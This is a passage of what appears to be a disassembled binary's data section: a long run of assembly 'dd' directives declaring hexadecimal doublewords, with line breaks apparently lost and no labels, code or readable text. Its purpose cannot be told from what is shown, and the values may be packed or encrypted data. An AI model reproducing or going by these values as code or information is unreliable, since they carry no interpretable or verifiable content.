0ABBECE5Bh, 0ABED55BFh dd 2F7A055Ch, 0E7C10AF6h, 93EDF657h, 9FD8D83Dh, 9DBBAB53h dd 8DAFED5Ch, 0BF4F3B73h, 51CDADC8h, 6E6CB75Ah, 92A00A74h dd 7096F448h, 76545824h, 61B0B90Fh, 5F9F15BFh, 90B36D76h dd 0B30E6909h, 0F70833B3h, 0A023876h, 93C75C43h, 0C03CAC23h dd 352D87BFh, 4799D357h, 0CB248423h, 132C17D8h, 0D4F45F40h dd 0D7E15364h dd 0DE0A2FCBh, 0D1440C81h, 8CD0C109h, 3D3446Dh, 17D01331h dd 0A4C55939h, 0DC4A7AE0h, 815EF052h, 46292A06h, 18892D95h dd 76325A88h, 0DB437250h, 37582BB5h, 7D2B4C85h, 197ADA15h dd 0F4A7533Dh, 1CBB0A7Eh, 831E4581h, 0D1435F7Ah, 23851C91h dd 3C57B15Fh, 6693DD3Ah, 0ABB3B155h, 0D634A317h, 30821BD2h dd 338D0061h, 4B008324h, 433A0D00h, 61C21EACh, 26304B08h dd 9F3F6872h, 26519E8Ch, 0BB5FE646h, 52E377F6h, 6D9E15B8h dd 0A9204CB3h, 0C4B8664Fh, 9A90ED76h, 0DF4174EDh, 0E36F6061h dd 406301C9h, 0F6EE97A0h, 0E4E3B4DDh, 3BB99797h, 0DBB935Bh dd 2C058D77h, 87878E63h, 1AAE252Ch, 0FAD5EEBh, 0CCF30573h dd 6D7C2E44h, 8B6173B8h, 0F77070Bh, 411B408Eh, 0AD7768AFh dd 1416B787h, 2FE78FA8h, 66568B5Dh, 81302E78h, 0F735172Ch dd 1984388Dh, 0BB878827h, 0EA6C70A4h, 633A4628h, 5A9E8341h dd 67A4544Bh, 4C2AC612h, 0D8C8D685h, 5F235391h, 51575B05h dd 188617DCh, 1699E89Bh, 21ECE0E8h, 440858FDh, 3109E5A8h dd 4BC23806h, 0A0F1514Eh, 9B2FA06Dh, 0C82C0503h, 0BB0CD959h dd 435D5745h, 0D8C60C43h, 115B144Bh, 0A9A8DE5Dh, 58EA62FCh dd 0D3AC3436h, 8C81C852h, 61397EDDh, 6FC63B23h, 10CC1A26h dd 46FD822h, 82DA9F06h, 7EC6EDDh, 130E57D2h, 0A52DA0Fh dd 0E28E6BD2h, 4E4CB910h, 26E9702Bh, 9E83396Ch, 5E26D01Ah dd 0F9D33926h, 1E71B611h, 0E2CF514h, 0BBB3291Ch, 1B72086Fh dd 0AC91F73Ch, 4F6CB20Dh, 0BE07CC52h, 5EF96E82h, 0C1574058h dd 1DE91B62h, 3FF9213h, 8F40D996h, 0DE5B2D6Ch, 71FBD217h dd 36B9AF52h, 42AF1498h, 0E840A419h, 30BC658Ah, 55FDC81h dd 0AB600FC5h, 277DD332h, 0BC2B17ACh, 0E9089059h, 0DC234306h dd 8DEDEA0h, 0C943D020h, 0B3765C5Bh, 326568Fh, 27AC7326h dd 0B190BDBBh, 472B7026h, 0EF3749BBh, 37E4E439h, 3FDB3737h dd 0D98AEB14h, 41D2920h, 0EFBF49C6h, 0D7513777h, 681A5BD2h dd 2657C517h, 29D32F05h, 19076A1Bh, 202863B0h, 0C737307Ch dd 62C276C5h, 0C7DA5F9Bh, 0ECB86E37h, 0EF0D3240h, 9D2FE5Bh dd 1D63B9Ch, 0BD2874B7h, 0EE750906h, 6C2C2D17h, 3FAFBBCFh dd 0BD2BEA68h, 0AC05D52Dh, 8651B17Fh, 137A8663h, 0B93D5BAh dd 0F5674E10h, 3940375Bh, 0FA846439h, 3333331Dh, 0E4BBC21h dd 1D1D7033h, 5A21AC87h, 2633EC8Fh, 46E9006Ch, 0EBD28B76h dd 0E634251h, 76D0861h, 131D2C3Bh, 4909DF63h, 6ADE0F16h dd 0B6435F92h, 8160EAFDh, 0A2A4A0EAh, 3A113FA4h, 0BF876207h dd 0C6DA0781h, 1F1D4523h, 196E5685h, 46F2081Eh, 0CF22F119h dd 52B217Fh, 33AC7127h, 104914C7h, 526487ACh, 804C8579h dd 713E5E80h, 39190E4Eh, 0B0B0BB6h, 43909902h, 43900B0Bh dd 0B0B3906h, 4E40290Bh, 0FB0B0B2Eh, 0F919097h, 5BB80D0Fh dd 0AC0C86BAh, 4B83566Ah, 0A1B1490Dh, 5B2E982Eh, 762031F7h dd 7E8EB890h, 0A759273Ch, 417A376Bh, 0E89A3223h, 55EA3421h dd 0D5C399B5h, 0B3D1F999h, 0D2544D6Ch, 0CBD7F07Dh, 79917CD4h dd 4842433Bh, 0EB0360C0h, 0DA4FA91Dh, 3D68B0DBh, 0F5A0330Fh dd 0EBDB5F16h, 0ED5F2D12h, 57FD5268h, 0AF6B801Fh, 7C306C7Bh dd 0D91C1619h, 48B359DDh, 130F5F5Bh, 5712DA10h, 5A2DF636h dd 0FC386923h, 0E91D891h, 0CFEF75DFh, 571B5F01h, 2F7D3020h dd 0EC302D17h, 0C56846B6h, 0E6190126h, 46CED05Eh, 1B5B568Eh dd 2C78635Bh, 26F96CB8h, 43DE3334h, 0BE4D5F0Ah, 1F361720h dd 0DA1B8E4Eh, 67351863h, 0E111C0D8h, 14233859h, 745F2E11h dd 0A46E1BABh, 0ABABAB19h, 8CDDA794h, 1B632334h, 0BFBFBFBFh dd 6CF70FD2h, 144E5F78h, 0D5AB0644h, 7272365Ah, 2A9D5F43h dd 69190EC2h, 795F6AD2h, 0CD21C939h, 435FCC52h, 4CE31D5Fh dd 43245F32h, 0A0E4A336h, 0A78F52D3h, 0D2087AB3h, 5FA89CE9h dd 2008A7B5h, 4ED54D4Fh, 50F70CAFh, 5BC268C1h, 92326D2Bh dd 678D8C35h, 0C26B6455h, 80DC41B1h, 2D45A731h, 0DE1DE1C0h dd 0B31C8C9Eh, 2FC611BAh, 9A90E903h, 53C1D9D2h, 60F6794Eh dd 0FF5A4AC0h, 9437D00Fh, 2E5B70F0h, 99742782h, 0B11F00C2h dd 52F175ABh, 0BB304E2Ch, 0CA483B15h, 0C59E37Fh, 0F38FE172h dd 4D434823h, 0A9E7B190h, 124444D6h, 4B78D852h, 16E9516Ah dd 0EF539A9Ch, 0C65D6FC5h, 1EDA1292h, 0D4AFDB7h, 0A32F1767h dd 0F954271Ch, 585753C2h, 278B92BCh, 0F187F53Ch, 872CF68Bh dd 0EF33A19Dh, 0B0B8B7A0h, 87C61A78h, 2122A7A2h, 4827418Eh dd 80606E76h, 45F164EFh, 0B8758BAFh, 35613E45h, 5184D3D9h dd 6018D1E1h, 3813A24Dh, 473617C6h, 10AACECAh, 0CB5012B0h dd 127210B9h, 83DF21DCh, 49112D16h, 553B8211h, 305087D6h dd 0E6628C03h, 2D215150h, 0C903A09Dh, 97D65284h, 0E8269B9Bh dd 973D05E1h, 0A1289758h, 94B10EFh, 37431840h, 9178AD08h dd 4D91059Bh, 0A2DA81Eh, 8BA72FA4h, 0F6CE0FC8h, 5293061Ah dd 0FD9AA493h, 0C06BD9Eh, 2022D668h, 0D2360D4Ah, 0D6D05D8Bh dd 0D264148Fh, 53D8269Fh, 7F2607ECh, 0CF51EED2h, 5B263273h dd 2BDE37ECh, 6038DFDAh, 0F859C38Bh, 26C506F4h, 849F34D0h dd 31480D1Dh, 0B5D0B214h, 0B073B675h, 0C3EACF42h, 387DEA2h dd 7719B15h, 93915485h, 0EFC1B643h, 6476EFEFh, 0DEF92EFh dd 9014C10Dh, 626BE41Bh, 7A23EF04h, 613B05DEh, 0DEDF1ECBh dd 0B858B9B3h, 0D59CC89Bh, 61B3930h, 4E2792D4h, 0AFCC1C53h dd 45B55369h, 0F184B87Dh, 1DD5A2B3h, 0ACB73D53h, 1367E5CAh dd 0B1C1640Ch, 6321C920h, 35989021h, 164FA936h, 5BF4D15Fh dd 46842434h, 3B432051h, 68BB1F4Dh, 18947058h, 331BA239h dd 8B193020h, 0B655061Bh, 7409A3A6h, 687789D8h, 0E2142127h dd 2B3EC8C1h, 0ACDF7CF0h, 9166B715h, 384EA247h, 0AF059D9h dd 0BB9542ECh, 19E27C20h, 0EBB651F1h, 44164F4Bh, 0A364F633h dd 0BCABAF63h, 0BDE1BF06h, 0BFA887C8h, 930C06BCh, 0DFB30C0Ah dd 0D452029h, 78FB2CA8h, 67F87660h, 1D98239Ch, 7A6774B2h dd 72194EAFh, 7D1EF1D2h, 0AF6432DFh, 0B21C9CAFh, 0BB76DA1Dh dd 4E4FBBBBh, 0ABBB8C8Eh, 0BCAFBBBCh, 212CB7E4h, 0BCAB7623h dd 0B925ED93h, 0AB5A32BBh, 7B346179h, 0A3657606h, 0EEBD73BCh dd 0DE17A702h, 923C3A1Dh, 0CD27234h, 0F80A52AFh, 7B0BEC10h dd 0B6E1749h, 1482894Bh, 0F1BA7A31h, 1CB97279h, 469D400Bh dd 0BF9F51EAh, 0B21E5AA6h, 4668461Fh, 58795C3Bh, 51BF040Bh dd 72BCDB62h, 5DF44D9h, 0BF9FF0ACh, 0B806127Bh, 54AD382Eh dd 8C129387h, 6C68AC5Eh, 3205030Bh, 0D9165E4Eh, 0BE3A57A5h dd 0B3809013h, 0C3256669h, 5B67BE9Fh, 832C90F2h, 0BA20FA47h dd 386C0484h, 0BD172A47h, 8AC3148Bh, 0EF654205h, 6C6C9B1Ch dd 0EFBC6F15h, 19AC05BFh, 8153B264h, 21D81238h, 401CD64Bh dd 28440AA7h, 0E419BBDh, 333B4B11h, 6CDBAF43h, 0DF8CB236h dd 660EA17Dh, 67173197h, 0ABFB0B33h, 5BF64F0Eh, 7753D9FAh dd 0DE475FA3h, 1352DB0Bh, 10135F5Ch, 95217ECDh, 9425A13h dd 0DB3B6DC6h, 0B431BBFh, 0E4A10C35h, 0DE9F451Bh, 9BE41C8Bh dd 6BF9BBFh, 6F7D8D0Ch, 5C2A7B3Eh, 0C7550CDEh, 0C1FB88D2h dd 0EF8BC6D9h, 84C1705h, 33960151h, 0C6943B3h, 3BC44950h dd 0A292B9C8h, 0BE8658D2h, 8ED07FF8h, 0DB3B0830h, 10BBBF00h dd 9DF362BBh, 0A490A40h dd 28201D6Eh, 61FC9B9Fh, 530AE831h, 43102F9Ch, 65C94CFAh dd 0C411E527h, 0C9760ED6h, 79272094h, 0EFB441F8h, 0A6EE477h dd 0BB029B50h, 4F8541EEh, 0EF613ACh, 137A4773h, 257D7A32h dd 4F253253h, 26419059h, 37F9AB39h, 7097963h, 503C1119h dd 26F99627h, 4829C939h, 0F42A141h, 83415AC9h, 902E2921h dd 0E6364B1h, 2B0E70D4h, 0B901093Bh, 42CC0B3Ah, 23B19090h dd 0B842E22Fh, 0B9695BC7h, 78B90B90h, 64065E4Fh, 10370390h dd 513BB306h, 0C0D1BA4Fh, 84FA8831h, 3DA59191h, 674E7E7h dd 3C9320D8h, 4733FAEDh, 3C50F840h, 4EBA5FF3h, 527B9E2Fh dd 0CBC94E49h, 0B3FAD962h, 5E123C43h, 0B43E4C9h, 0FA15E7FAh dd 91D94C94h, 79711167h, 43E329C9h, 431B62FAh, 1E484309h dd 0FB8E2BD9h, 71FB987Ah, 0EAECA64Ah, 0FBC6F411h, 94E4BC9Eh dd 8C5C9E62h, 4953BB5Ch, 314BC94Eh, 725CEBFBh, 0DCC90E42h dd 77FB605Ch, 909C80FBh, 55FB4613h, 2F2079FBh, 1D5C6F39h dd 42F4845Ch, 9B09C84Eh, 0BCF4EAF4h, 0F97200ECh, 5B5DB3F4h dd 0E4A75DA1h, 45719C61h, 5D9DF42Bh, 64DE3660h, 7F3AF6E9h dd 872723FFh, 0E3E3012Ch, 6DEE3E3h, 202122FCh, 10502049h dd 6DF811Eh, 71B38360h, 0B861E3DEh, 813D898h, 9343CF06h dd 0C87B384Fh, 5902EB5Ch, 81495112h, 903E8015h, 3DBB57F9h dd 515693F6h, 5EF027A5h, 175B12ABh, 0EA8CF83Dh, 0FFBB737Bh dd 3D0DB0B0h, 361D9B6Ch, 347665Fh, 0FB41BFE4h, 1F723596h dd 97E85957h, 0B0A009BDh, 0F599BB48h, 1D456E53h, 0D0879D9h dd 478DF539h, 87647102h, 4B195B56h, 5960C14Bh, 99DF7921h dd 121C18C8h, 0EBFE0376h, 0BC1B20E6h, 3F4FD505h, 0E61756Ah dd 0A6FD7712h, 0DCF16A3Eh, 2E0FB7A3h, 27536D36h, 17A06CACh dd 0AAD1D882h, 60CED52Eh, 76462CE7h, 16EA313Ah, 43055142h dd 9841C244h, 0B8BA4F80h, 0E542E40Eh, 5F890B6Fh, 1409A5B9h dd 71C77521h, 9D459CD3h, 0F45FF153h, 0F20D8CF2h, 435348E7h dd 33CD5115h, 7468EE08h, 0D45F8ABBh, 0EA846C99h, 0B651FED2h dd 0DBE21194h, 4F1E4999h, 46E6E6BBh, 381AEBD2h, 13D55DBBh dd 0D80E5D2Eh, 7BDCD3h, 16B4CA2Dh, 2723B014h, 0DAAB2FDFh dd 37D0E2DBh, 64F2C2Dh, 0A7A739F9h, 3BA75337h, 0B072EAC3h dd 0B6CED9A8h, 1E651106h, 439D08A0h, 0D04D0381h, 0FA8750Fh dd 58B8BB50h, 60C0478Dh, 0AD0E95AFh, 0BC3BE4D4h, 1E011D40h dd 0ABB54DE7h, 0E33BE39Eh, 0A86FD68Bh, 32C112A3h, 0EA8ED982h dd 0F046037h, 70D9B33Bh, 79092EFFh, 9F3B6C26h, 47E7F312h dd 0F79E4270h, 0A9B1FBCFh, 3C2DB232h, 871C53Eh, 23E64AF3h dd 43F7C8CBh, 569554FBh, 4F3B19Fh, 6FFC5288h, 11D6A452h dd 9459D6Bh, 1541F11Fh, 7A13882Fh, 0A54A6F5Dh, 68A1F46Ah dd 0AF03A7BAh, 59ED2AB7h, 60708D3h, 0B775820Ch, 0E5F9987Eh dd 21B7E1BAh, 25581A11h, 0CC2B99Ah, 7E1E46FAh, 360959DFh dd 202B5D6Eh, 80D6BA50h, 0BD1352E7h, 0FF20B7B0h, 0BE23E0A3h dd 0ABB25117h, 0EB6AA419h, 59065814h, 7238F9C7h, 17673E96h dd 0A2A70851h, 5BEE7075h, 21E62B07h, 38434B73h, 0A3A3B053h dd 0EF045F06h, 20AB7D01h, 2F173B01h, 0BC20D9B8h, 5942BB9Bh dd 3867A3D9h, 1475ADF8h, 5D2E067Eh, 0DAC547D8h, 66420A47h dd 1FAF2316h, 31C11F42h, 715AF6F2h, 0F7B0BCCh, 6F0B2F60h dd 35DBD05Ch, 54AA93Eh, 397C970Bh, 43651018h, 68AD8336h dd 59E3E16h, 0B372EE22h, 8D51F78Bh, 30B3356Ah, 341CE6BEh dd 3B8590D8h, 64F70FF3h, 8217608Bh, 97AE39DEh, 6C39991Dh dd 0D6FB298Bh, 8DB299C6h, 571B24E2h, 3CB39B18h, 0C05B3A89h dd 0BD13AD87h, 86E4D009h, 0CB1A92ADh, 8ECF64C7h, 0E0B18449h dd 10EF8F8Fh, 53584135h, 184026EAh, 2FD95758h, 0CC2E4535h dd 5B2E9C22h, 5E32281h, 2A78815Bh, 1B59BB46h, 0EC2DC01Eh dd 52056606h, 147E1924h, 21B23094h, 48AD80D4h, 8E1D08B8h dd 0C7DABBFAh, 0ED460652h, 0E19C0E24h, 0A36BA1Eh, 7F0E7EE0h dd 0FF1B6702h, 4E0F44B8h, 0B85BB81Eh, 0C453B8BCh, 0B8BEDB8Ah dd 490CBA00h, 0D340EB94h, 3A548064h, 0EFED22E3h, 92C03E6Ch dd 54EAAD0Bh, 4A08BE2Ah, 8E4BFB9Dh, 1F3CCC07h, 0AD07CF20h dd 0F10312A3h, 3780504Ah, 6C8EB16Bh, 79D84F6Dh, 22320F44h dd 0B20C87Bh, 0ADAD0411h, 0CD9E4440h, 0ADAD07ADh, 0A0B2C403h dd 6C926F97h, 0AD492F08h, 8E19592Ah, 0AC09C2B0h, 5718E327h dd 40B1A158h, 60ACC3ACh, 0E70E8876h, 46C86423h, 79C9CED5h dd 0A032AC1Ah, 0E7682B72h, 0D91E55F3h, 15B961F8h, 0BE3D0618h dd 3065552Ah, 4A7D0381h, 88EC0862h, 191F36DCh, 83A1D817h dd 2F79B203h, 0BF63F330h, 813DBD73h, 475F6467h, 27BB8C72h dd 9C50DD62h, 2A85AB5Ah, 0BA2D5310h, 7C0FB065h, 0D3D2720Fh dd 82FE252Ah, 8110E62h, 56BBBB97h, 0F5F11B49h, 0B9ABBF1Dh dd 0AEBF9443h, 677A8CD7h, 0BA219FF7h, 4A0867E8h, 0A853D0F4h dd 96F035D6h, 2C622788h, 0CBB3A7CFh, 9242CC80h, 0A0D1EFF1h dd 0ADF81843h, 0B17D1B2Fh, 0C930975Bh, 20416806h, 0EC071D02h dd 0A7B382ACh, 275E0D6Bh, 901E4079h, 4F274C79h, 0F15D2745h dd 4301E4FEh, 53955A2Ch, 90F3B87Dh, 0D89DF3B1h, 0A23C4188h dd 0F0A046B6h, 0F7982220h, 71145D39h, 6E76F0F6h, 0AFF9172Fh dd 9E5B8348h, 77AF1640h, 2B5206DAh, 1361850Fh, 8F08F365h dd 4BD960ACh, 102E5B63h, 46A2B94Bh, 0A8CEFF19h, 942712A1h dd 8DDACB50h, 36564720h, 552ED3FDh, 0C8324CB2h, 555F5F44h dd 5320E4E4h, 43CFBB43h, 9C128306h, 0E0F2D343h, 45670677h dd 0B8C45606h, 40B2DB17h, 574B5F31h, 9F891027h, 80300963h dd 79FD58D3h, 5981B141h, 945F4F7Ah, 0E1BBA419h, 0B8D3B84Fh dd 5B2B2138h, 239E6907h, 0B5231A52h, 33CD2054h, 3B745124h dd 0C91CED93h, 1E9D5097h, 1B112BF5h, 283356F2h, 5F7A5008h dd 0A39B43E4h, 0E1B07AEh, 0F7BE4EC4h, 4BD2054Ah, 0CD471650h dd 402781Ah, 3D262B6Dh, 52E36F01h, 4740CE52h, 90412194h dd 0B430B730h, 7B361FB1h, 0A7F9B9B2h, 0C751B5AEh, 10305ED2h dd 0E57004EFh, 62F510ABh, 0BB144F9Bh, 0C35181A8h, 0BD355848h dd 615FF43h, 38A252A7h, 3424B05Bh, 13D408BBh, 3F4240F4h dd 3815DB62h, 0D172048Ah, 1CD6DE51h, 1FBF1984h, 0C533092Eh dd 29AF714Eh, 0A3E4D92h, 5F6740B7h, 683D4A86h, 0E6D9FB35h dd 45265152h, 5188B12Fh, 0F2557147h, 52BC593Fh, 62168B80h dd 3B064955h, 5C1DBB00h, 0B6074E96h, 319C4950h, 0A75207EDh dd 82C682F7h, 9A0557B3h, 10881F2h, 0A8B77577h, 2F662FB3h dd 21300C06h, 116F025Ch, 0CF1050B1h, 0D073B03h, 39EE143Bh dd 5196A88Fh, 0DFB34DE5h, 0CABBF785h, 6E50D05Fh, 154C216Dh dd 64E4592Ch, 793829B2h, 0CEB6E43h, 63DE3B16h, 0B267C725h dd 11376433h, 0C38A1263h, 0B0C0EE9h, 60A33566h, 10E42F05h dd 9C153DDh, 0CFAE3ED4h, 0CD982763h, 0FADEB703h, 0F3B6B72h dd 13DF9F3Bh, 0ADAF128Fh, 0D80D538Bh, 0D879DC8h, 340C3E6Bh dd 216753BFh, 240DE0ABh, 4517B71Fh, 0D03A2281h, 0CF6BC751h dd 8A863ABh, 8B15125h, 80F6AEDCh, 2324E0BBh, 62F61D5h dd 0CE3F321Eh, 0EC0AF253h, 530EC359h, 392BB347h, 7BC99421h dd 7200D834h, 0B6D02BD9h, 769F427Eh, 5833A04Bh, 5273999Bh dd 49C8CF3Bh, 0BB13ADB7h dd 22F1C811h, 0AC90BB3Eh, 72F67395h, 859E1151h, 0C8BC3159h dd 0F3174D08h, 0CD9A05B3h, 217B4B01h, 0BBAB0322h, 3C58CCC3h dd 0B1BB610h, 9981CE22h, 75151F7h, 8A4595C8h, 0C21F774Dh dd 0CF242C15h, 3741A2E0h, 6C5E7C0Bh, 16CC2ABDh, 0ABD0DB03h dd 3DB30ABEh, 3D472D3Bh, 7246C70Dh, 0ADAB9210h, 4599BB11h dd 0AD833B0Eh, 0EA104378h, 93309582h, 0E6E6F30h, 0BC03D1B3h dd 0C5AF3F39h, 77BC6443h, 570D5FD8h, 35D408A9h, 0B280D457h dd 0D002D110h, 670E3E24h, 0C302D7ADh, 68436E28h, 0E04E2012h dd 3C008AFh, 0F5895E18h, 1D57301h, 0F54D8733h, 5167256Ch dd 0A7BFAB62h, 0D2380199h, 52AF5D9Bh, 0C761D975h, 0B7B976Bh dd 0AB778980h, 0E7C50545h, 31C9FDDAh, 17A32730h, 17DBB7C5h dd 0A0D5BB5Eh, 0B7A3B35Ch, 502306B7h, 0C9BD4EA0h, 9ADDD73Bh dd 1793BF55h, 0C864728h, 0DC9453AEh, 58D9AE04h, 24AB2305h dd 0C3880D1Ch, 0C78FC3A4h, 0CC629B71h, 0BC931Eh, 11630118h dd 0A324AD0Bh, 0F232488Bh, 167B99F0h, 7B3B024Dh, 9B8F4FDDh dd 0B3F43870h, 38BA1222h, 0AF1115F2h, 0B6BBBB9Eh, 3B0963AFh dd 0EC466F7h, 1700807h, 1031024Ch, 0C29E62AAh, 3B4D55D0h dd 114F820h, 73A9392Bh, 0C0968Fh, 0C4F6672h, 7A00DC96h dd 0DBBBB382h, 0F48325D8h, 0B7FD9002h, 2F0D3B0Fh, 41AF3511h dd 642C67ACh, 87BB2387h, 60311475h, 7E390267h, 1142B807h dd 5429B0EBh, 921B3F11h, 23634B0Bh, 642278DFh, 2308E401h dd 3754EC8Fh, 5CAFD83Ah, 0C3C68351h, 0B725689Bh, 1DBAB5B3h dd 0A78A5C04h, 0C294BA6Ah, 0C0BDBBBFh, 0C12F246Ch, 11ADBB1Dh dd 41B0009Bh, 642EA823h, 2E765B2Eh, 462B11EAh, 4AE7648Ch dd 40765D6Ch, 0ED82130h, 1B76C72Ah, 194A6D93h, 0DDDF7CB8h dd 4CA8F9E0h, 0BA23A8F6h, 0FB4161C4h, 0F612C38Ah, 0FB7D0E51h dd 8E7BF336h, 410C5436h, 0FCF006AFh, 1F71418Ch, 53A93FCBh dd 8CE283E5h, 29B15CBh, 8151ECC5h, 47CCEE24h, 0AB7B3332h dd 81962F88h, 7C2DCFBh, 47E5BB21h, 24E4AD60h, 0A8A2B937h dd 4191AEA7h, 8FEE5680h, 0C61759ABh, 0B50C067Bh, 0BC6E4C10h dd 90AF7094h, 0AAE37C11h, 4DE12F33h, 0C776673Ah, 61C81314h dd 0F62D3121h, 1EC161E7h, 0B29AD00h, 3B219DAEh, 31E6AE1Fh dd 0CF92B692h, 0FFDF7880h, 19B223C0h, 8F2E421Bh, 0B051AEAAh dd 721900ECh, 71B9985Fh, 19D4B3B6h, 27238806h, 0DBC2184Ch dd 27DDF33Dh, 91AC3751h, 167EE196h, 0BA030FF9h, 46494CC9h dd 7BE9361Eh, 0AAAB5133h, 1C9580DAh, 5930E340h, 4711CB82h dd 0ABD545A3h, 41D8EEB4h, 576B067Eh, 0A4A053ABh, 6B90CCh dd 5EF817BDh, 0B3C4522h, 0E5635B15h, 0F0126824h, 1C5E7613h dd 55E51163h, 4744E014h, 118D620Dh, 3E866E29h, 0B3A4401h dd 0BA478F62h, 8938D78h, 0B4854D4h, 6783842Ch, 1E4E0661h dd 269DD311h, 2B39738Eh, 0EA99B11h, 55C9A038h, 0E414A7A7h dd 162ADDD6h, 8F0A0BB6h, 5EEAA73h, 0BBB21B98h, 0E0680483h dd 4398436Ch, 0B59B8B6h, 0D8360FBFh, 9E6EF7Bh, 3B3D039Ch dd 0A29CDDEBh, 1601F23h, 0DDDA33BFh, 8413C1CCh, 81F2C517h dd 0B1B421ADh, 0CB95A591h, 830A1908h, 7228D845h, 0A688988Ch dd 98446E46h, 52FAE58Dh, 64065D77h, 0B36129CEh, 203364EFh dd 251FBF26h, 0C8D13EF8h, 5AA44F67h, 9843568Fh, 8359981Ch dd 87238D73h, 0DAB5EDB0h, 9662A918h, 0CCC8DCDh, 410D2072h dd 8E427130h, 483E09E4h, 367C909Ch, 0FE0B589Ch, 0BA734353h dd 820D99EAh, 0C705BADAh, 112E788Bh, 0F9F9F308h, 6E067B26h dd 6173350Dh, 45F60E58h, 1321B431h, 0E4069DE0h, 667CE48h dd 9C434B73h, 4B4B4643h, 40E7C927h, 7F4B6436h, 272B8EF5h dd 395E7C54h, 2075BF61h, 66B06F1h, 147D0A00h, 81F4810Bh dd 9F048D09h, 9B941B52h, 0BB13C8E4h, 4D0A84A7h, 555F9A3Dh dd 746BAD17h, 13BD6F28h, 0A70522F0h, 418C5336h, 3373F21Bh dd 1767EC62h, 5017CEF5h, 52DDAB55h, 0AD9B202Fh, 0B4430D24h dd 0D9CCF516h, 336B5681h, 0E1A66655h, 6053114Bh, 0E8D70D91h dd 0B155A2C5h, 46D99C05h, 678CB646h, 6B515D67h, 0F36D8A74h dd 0C8B88FD7h, 1F38674Ch, 0DB8D92F1h, 6614955Bh, 3B0396B5h dd 199CA0A3h, 649D5917h, 944447B3h, 0C5FC1CB6h, 9A49CB30h dd 7E3B1136h, 0E0A4EC20h, 4F8E9746h, 61154B4Ah, 0BBF7B073h dd 0AB8B40CCh, 8F5FBA88h, 0D9E1C27Ah, 8F87A2EEh, 234CDE35h dd 97842454h, 506575DFh, 0BB484CA6h, 6E45C053h, 7CD8A4E6h dd 241DA427h, 31B4277Ah, 126B7E06h, 0C3543D8Ch, 0A7932A1Ch dd 14B155DFh, 5AE48A87h, 0A1ABD643h, 0A3089E1Ah, 0DC227529h dd 0A327B677h, 6047A9EFh, 0FE103B1Ch, 0A18CE9A7h, 0B2A8B208h dd 0DC6C5FC0h, 7826E38h, 3BABD241h, 963E251Eh, 5A22A2DCh dd 60C7364Eh, 38E14976h, 0F077FDEh, 0A2AFB948h, 73A1161Bh dd 0A2685826h, 5C0D66A6h, 5687F8B8h, 0A28CD116h, 4D64B7E1h dd 493B34C1h, 5F1E020Ch, 0D1126A69h, 0E0F59268h, 8622BC81h dd 8222F95h, 0C954B153h, 0CD804F4Bh, 6E771C4Ah, 0AA3113D1h dd 0BB47F263h, 0E7A2BA42h, 10D87457h, 39A29F88h, 0F14BBBF0h dd 0D4FA1FDCh, 3BD2BCFAh, 54D5431Eh, 474C4434h, 0A4BD5B7Bh dd 5F374262h, 0C6EE68ABh, 5C5BB80Ah, 2BABFCDEh, 0DBD22FD0h dd 0A206B241h, 21D84903h, 0D83B8454h, 1F1E3B6Dh, 0D9574B06h dd 27D26F28h, 6CFDAE54h, 57D80B45h, 61E178D2h, 3445D66Dh dd 0A7A6A714h, 0D9B3754Eh, 0A706FEE6h, 0B8D247DAh, 0AB21C111h dd 3B2933C4h, 0B1DE942Fh, 1D53A216h, 9190FD03h, 1BAB7447h dd 0AEAF5BB8h, 28B823E3h, 405002Dh, 732E36D8h, 0F56FFC2Fh dd 279AD643h, 2752AA1Fh, 0DB55D943h, 586CD754h, 0BC551415h dd 0F1AB86Dh, 0CB7952Dh, 3840080Dh, 9AEA9842h, 0C51BDC71h dd 2F637B01h, 2C6A0D43h, 84306130h, 0E309151Bh, 2763A152h dd 3B92F8CCh, 0A7F02BA3h, 0A016A755h, 0E3A73446h, 0CE6D6A0Bh dd 2C08DD8Ch, 9EA74531h, 90A25A05h, 7F36102Dh, 6C8E6D12h dd 15457704h, 937226BAh, 0A803B3ADh, 64DEA78Ah, 4D662A58h dd 0E0125BADh, 0EC2960DFh, 0D802DC24h, 340CC2Ch, 3DB8AFF6h dd 0D895ED2h, 9E8042F0h, 6C1E2659h, 0AFB250AFh, 357CE991h dd 11412C1Ah, 1E49A236h, 0D35C2659h, 711EB89Ch, 110B937Bh dd 8EAB844h, 0C53BE28Dh, 5BD37996h, 0B302369Eh, 72645B86h dd 0B46F210h, 69DE93C1h, 9D47A24Ah, 0D7A4290Eh, 1A5F3321h dd 7CB1B34Ch, 3942367Dh, 0A7CDB027h, 8C3BD03Fh, 0C0995B6Fh dd 63DB5AD9h, 5BB2425Dh, 596E12D4h, 301AEB66h, 127C1242h dd 0B0367B99h, 85373A43h, 69AB1B2Fh, 6F113C56h, 82902A55h dd 190604FDh, 494496A2h, 57F72C3Eh, 23B8002Eh, 9746267Dh dd 0CE04F36Ch, 2261B85Fh, 0C3C9A8Ah, 5F214258h, 49D347A6h dd 0BF437678h, 39E3F3B8h, 9D0FCF7Dh, 0A8C6E8ACh, 0CC2D50D0h dd 0D8D8D9F4h, 444BB548h, 50430547h, 0B3421DDCh, 531FD78h dd 82112752h, 51DCD0D5h, 3B507127h, 0CA8373Eh, 5459D671h dd 0ACA62D5Bh, 1922C5E3h, 681947E7h, 75DB2391h, 19ADA980h dd 0A6230172h, 0B3BB4BE4h, 1AF48A54h, 0D802A0ACh, 5174E621h dd 52E41D0Dh, 473A770Ah, 11883727h, 0D6ED38D6h, 2B161F68h dd 39E61959h, 1B5C2720h, 0A61D5B6h, 19C63D3Ah, 2233C148h dd 69D50EDBh, 0E00F6527h dd 63B303C3h, 34BE4239h, 6C2B16Bh, 6C14DB02h, 7831080Bh dd 8B625B91h, 82200CA3h, 0BAD81D83h, 0ED5C3FDBh, 2E07BF21h dd 7AECFB24h, 33BBB76h, 9C33E462h, 5E051B74h, 0F9140E2Fh dd 0F55D66CEh, 5F452C11h, 0B0B97F29h, 5E753B29h, 0A4574240h dd 0E6159A78h, 0D0171710h, 0EF9BA287h, 0B4829703h, 0F0EA1AEh dd 54741F3h, 0D517DE38h, 0A7039B34h, 0D7EB93AFh, 92D84C8Ch dd 879F8A25h, 55676103h, 0EFB78F4Dh, 0B58327CAh, 0BE23003h dd 0AF10E4Eh, 0B4320B35h, 0E66F8194h, 6E440DA2h, 6B1BA1A3h dd 3BADAC54h, 5E831D78h, 5F6C85Ah, 5A1DAB88h, 91676E4h dd 1DEFA2D3h, 0BDB2AEB8h, 92B326F7h, 9E1DE6BCh, 4B35422Fh dd 38261274h, 3BC38ED5h, 0AFA17D07h, 0BD97D6B9h, 73E128C9h dd 24BB495Bh, 